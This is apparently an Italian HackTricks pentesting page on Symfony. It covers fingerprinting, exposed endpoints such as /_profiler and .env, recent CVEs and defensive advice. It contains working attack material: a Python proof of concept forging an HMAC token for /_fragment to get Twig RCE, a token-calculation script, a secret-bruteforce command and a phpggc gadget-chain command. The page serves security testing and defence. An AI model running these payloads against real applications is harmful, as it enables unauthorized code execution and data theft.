Symfony

Reading time: 6 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Symfony è uno dei framework PHP più utilizzati e appare regolarmente nelle valutazioni di obiettivi aziendali, e-commerce e CMS (Drupal, Shopware, Ibexa, OroCRM … tutti integrano componenti Symfony). Questa pagina raccoglie suggerimenti offensivi, configurazioni errate comuni e vulnerabilità recenti che dovresti avere nella tua lista di controllo quando scopri un'applicazione Symfony.

Nota storica: Una grande parte dell'ecosistema utilizza ancora il ramo 5.4 LTS (EOL Novembre 2025). Verifica sempre la versione minore esatta perché molti avvisi di sicurezza 2023-2025 sono stati corretti solo in rilasci di patch (ad es. 5.4.46 → 5.4.50).


Recon & Enumeration

Finger-printing

  • Intestazioni di risposta HTTP: X-Powered-By: Symfony, X-Debug-Token, X-Debug-Token-Link o cookie che iniziano con sf_redirect, sf_session, MOCKSESSID.
  • Leaks di codice sorgente (composer.json, composer.lock, /vendor/…) rivelano spesso la versione esatta:
bash
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
  • Rotte pubbliche che esistono solo su Symfony:
  • /_profiler (Symfony Profiler & debug toolbar)
  • /_wdt/<token> (“Web Debug Toolbar”)
  • /_error/{code}.{_format} (pagine di errore carine)
  • /app_dev.php, /config.php, /config_dev.php (front-controller di sviluppo pre-4.0)
  • Wappalyzer, BuiltWith o wordlist di ffuf/feroxbuster: symfony.txt → cerca /_fragment, /_profiler, .env, .htaccess.

File ed endpoint interessanti

PathWhy it matters
/.env, /.env.local, /.env.prodSpesso mal distribuiti → leak APP_SECRET, credenziali DB, SMTP, chiavi AWS
/.git, .svn, .hgDivulgazione del sorgente → credenziali + logica aziendale
/var/log/*.log, /log/dev.logMisconfigurazione della web-root espone stack-traces
/_profilerStoria completa delle richieste, configurazione, contenitore dei servizi, APP_SECRET (≤ 3.4)
/_fragmentPunto di ingresso utilizzato da ESI/HInclude. Abuso possibile una volta che conosci APP_SECRET
/vendor/phpunit/phpunit/phpunitPHPUnit RCE se accessibile (CVE-2017-9841)
/index.php/_error/{code}Finger-print & a volte leak delle tracce delle eccezioni

Vulnerabilità ad alto impatto (2023-2025)

1. Divulgazione di APP_SECRET ➜ RCE tramite /_fragment (noto anche come “secret-fragment”)

  • CVE-2019-18889 originariamente, ma ancora appare su obiettivi moderni quando il debug è lasciato abilitato o .env è esposto.
  • Una volta che conosci il APP_SECRET di 32 caratteri, crea un token HMAC e sfrutta il controller interno render() per eseguire Twig arbitrario:
python
# PoC – richiede il segreto
import hmac, hashlib, requests, urllib.parse as u
secret = bytes.fromhex('deadbeef…')
payload = "{{['id']|filter('system')}}"   # RCE in Twig
query = {
'template': '@app/404.html.twig',
'filter': 'raw',
'_format': 'html',
'_locale': 'en',
'globals[cmd]': 'id'
}
qs = u.urlencode(query, doseq=True)
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
print(r.text)
  • Ottimo articolo e script di sfruttamento: blog di Ambionics (collegato nelle Riferimenti).

2. Windows Process Hijack – CVE-2024-51736

  • Il componente Process cercava la directory di lavoro corrente prima di PATH su Windows. Un attaccante in grado di caricare tar.exe, cmd.exe, ecc. in una web-root scrivibile e attivare Process (ad es. estrazione di file, generazione di PDF) ottiene l'esecuzione di comandi.
  • Corretto in 5.4.50, 6.4.14, 7.1.7.

3. Session-Fixation – CVE-2023-46733

  • L'autenticazione guard riutilizzava un ID sessione esistente dopo il login. Se un attaccante imposta il cookie prima che la vittima si autentichi, hijacka l'account dopo il login.

4. Twig sandbox XSS – CVE-2023-46734

  • In applicazioni che espongono template controllati dall'utente (admin CMS, costruttore di email) il filtro nl2br potrebbe essere abusato per bypassare la sandbox e iniettare JS.

5. Catene di gadget Symfony 1 (ancora trovate in app legacy)

  • phpggc symfony/1 system id produce un payload Phar che attiva RCE quando si verifica un unserialize() su classi come sfNamespacedParameterHolder. Controlla gli endpoint di upload di file e i wrapper phar://.

PHP - Deserialization + Autoload Classes


Exploitation Cheat-Sheet

Calcola il token HMAC per /_fragment

bash
python - <<'PY'
import sys, hmac, hashlib, urllib.parse as u
secret = bytes.fromhex(sys.argv[1])
qs     = u.quote_plus(sys.argv[2], safe='=&')
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
PY deadbeef… "template=@App/evil&filter=raw&_format=html"

Bruteforce debole APP_SECRET

bash
cewl -d3 https://target -w words.txt
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target

RCE tramite Symfony Console esposto

Se bin/console è accessibile tramite php-fpm o caricamento diretto da CLI:

bash
php bin/console about        # confirm it works
php bin/console cache:clear --no-warmup

Usa gadget di deserializzazione all'interno della directory cache o scrivi un template Twig malevolo che verrà eseguito alla prossima richiesta.


Note difensive

  1. Non distribuire mai il debug (APP_ENV=dev, APP_DEBUG=1) in produzione; blocca /app_dev.php, /_profiler, /_wdt nella configurazione del server web.
  2. Memorizza i segreti in variabili d'ambiente o in vault/secrets.local.php, mai in file accessibili attraverso la root del documento.
  3. Applica la gestione delle patch – iscriviti agli avvisi di sicurezza di Symfony e mantieni almeno il livello di patch LTS.
  4. Se esegui su Windows, aggiorna immediatamente per mitigare CVE-2024-51736 o aggiungi una difesa in profondità open_basedir/disable_functions.

Strumenti offensivi utili

  • ambionics/symfony-exploits – RCE con frammento segreto, scoperta di percorsi del debugger.
  • phpggc – Catene di gadget pronte all'uso per Symfony 1 e 2.
  • sf-encoder – piccolo aiuto per calcolare l'HMAC di _fragment (implementazione Go).

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks